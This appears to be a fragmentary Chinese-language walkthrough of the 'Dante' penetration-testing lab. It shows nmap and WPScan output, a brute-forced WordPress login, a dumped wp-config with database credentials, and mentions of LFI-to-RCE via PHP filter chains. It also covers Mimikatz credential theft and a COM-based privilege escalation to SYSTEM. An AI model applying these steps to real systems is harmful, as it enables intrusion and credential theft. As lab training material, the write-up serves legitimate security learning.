- Finalize WordPress permission changes - PENDING - Update links to to utilize DNS Name prior to changing to port 80 - PENDING - Remove LFI vuln from the other site - PENDING - Reset James' password to something more secure - PENDING - Harden the system prior to the Junior Pen Tester assessment - IN PROGRESS
┌──(root㉿kali)-[/home/rainb0w/Desktop] └─# nmap -sS -sV -sC -A -p- --min-rate 5000 10.10.110.100 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 04:08 EDT Nmap scan report for 10.10.110.100 Host is up (0.31s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.6 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: PASV IP 172.16.1.100 is not the same as 10.10.110.100 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 8fa2ffcf4e3eaa2bc26ff45a2ad9e9da (RSA) | 256 07838eb6f7e672e965db42fdedd693ee (ECDSA) |_ 256 1345c5cadba6b4ae9c097d21cd9d74f4 (ED25519) 65000/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-robots.txt: 2 disallowed entries |_/wordpress DANTE{fake_flag} |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Linux 4.X|5.X (85%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 Aggressive OS guesses: Linux 4.15 - 5.6 (85%), Linux 5.0 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp) HOP RTT ADDRESS 1 ... 2 422.66 ms 10.10.110.100
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 72.58 seconds
WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[+] XML-RPC seems to be enabled: http://10.10.110.100:65000/wordpress/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://10.10.110.100:65000/wordpress/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] Debug Log found: http://10.10.110.100:65000/wordpress/wp-content/debug.log | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | Reference: https://codex.wordpress.org/Debugging_in_WordPress
[+] Upload directory has listing enabled: http://10.10.110.100:65000/wordpress/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.110.100:65000/wordpress/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.1 identified (Insecure, released on 2020-04-29). | Found By: Rss Generator (Passive Detection) | - http://10.10.110.100:65000/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.4.1</generator> | - http://10.10.110.100:65000/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.1</generator>
[+] WordPress theme in use: twentytwenty | Location: http://10.10.110.100:65000/wordpress/wp-content/themes/twentytwenty/ | Last Updated: 2023-03-29T00:00:00.000Z | Readme: http://10.10.110.100:65000/wordpress/wp-content/themes/twentytwenty/readme.txt | [!] The version is out of date, the latest version is 2.2 | Style URL: http://10.10.110.100:65000/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.2 | Style Name: Twenty Twenty | Style URI: https://wordpress.org/themes/twentytwenty/ | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://10.10.110.100:65000/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'
[!] http://10.10.110.100:65000/wordpress/.wp-config.php.swp | Found By: Direct Access (Aggressive Detection)
[+] Performing password attack on Wp Login against 1 user/s [SUCCESS] - james / Toyota Trying james / Motor Time: 00:00:32 <================================================================== > (400 / 893) 44.79% ETA: ??:??:??
[!] Valid Combinations Found: | Username: james, Password: Toyota
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
可以读到，并且我们可以看到有一个名为margaret的用户，只是它的shell不是bash而是lshell。因为这个站用的是php，并且存在LFI，所以我们可以构造php filter chain来RCE，关于构造php filter chain来RCE的方法我这里就不过多介绍了，打CTF的师傅们应该接触过，想要了解的可以看看Zedd师傅写的一篇文章：hxp CTF 2021 – The End Of LFI?。这篇文章从最简单的LFI开始，一步步构造php filter chain从而实现RCE，师傅们看了之后一定会很有收获的。 我这里直接贴脚本吧：
<?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME''wordpress' );
/** MySQL database username */ define( 'DB_USER', 'margaret' );
/** MySQL database password */ define( 'DB_PASSWORD', 'Welcome1!2@3#' );
/** MySQL hostname */ define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' );
/**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'put your unique phrase here' ); define( 'SECURE_AUTH_KEY', 'put your unique phrase here' ); define( 'LOGGED_IN_KEY', 'put your unique phrase here' ); define( 'NONCE_KEY', 'put your unique phrase here' ); define( 'AUTH_SALT', 'put your unique phrase here' ); define( 'SECURE_AUTH_SALT', 'put your unique phrase here' ); define( 'LOGGED_IN_SALT', 'put your unique phrase here' ); define( 'NONCE_SALT', 'put your unique phrase here' );
/**#@-*/
/** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_';
/** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://wordpress.org/support/article/debugging-in-wordpress/ */ define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); }
/** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php';
我们将它还原出后，可以得到A列username，B列password。对了，执行net user mrb3n有惊喜哦。之后我们通过调用msf的kiwi模块可以抓取到一对帐号密码，xadmin:Peacemaker!，还是一个域管。不过令人悲伤的是，dante.local这个域中似乎只有DANTE-DC01这一台机子了，以下是通过ldapsearch搜索得到的结果：
julian@DANTE-ADMIN-NIX06:~/Desktop$ cat SQL Hi Julian I've put this on your personal desktop as its probably the most secure place on the network!
Can you please ask Sophie to change her SQL password when she logs in again? I've reset it to TerrorInflictPurpleDirt996655 as it stands, but obviously this is a tough one to remember
#Create symbolic link for sqldump.exe in the script folder $sqldumpLocation = \.sqldump.exe $backupDest = C:\DB_backups\SQL\sql_backup_"+ $dateString + ".sql" $execute_sqldump = $sqldumpLocation+"-u"+$cred.UserName+"-p"+$cred.Password +" > " + $backupDest invoke-expression $execute_sqldump # use 7zip to compress and encrypt the backup with same password as used to autheticate the sql backup user # removes the unencrypted .sql file afterwards # create symbolic link for 7z.exe in the script folder $sevenzip = ".#7z.exe" $zipfile = $backupDest.Replace(".sql",".7z") $execute7zip = $sevenzip+" a -t7z "+$zipfile+" "+$backupDest+" -p"+$cred.Password invoke-expression$execute7zip Remove-Item$backupDest
因为我们使用的是CreateProcessAsUserA这个API，因此-t参数的值为u，-c参数为对应操作系统的COM对象的CLSID，这台主机是windows server 2016的，可以选择的对象有COMXblGameSave，其CLSID为{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}。 至此，最后一台主机的system权限也已经拿到了。打完，收工！
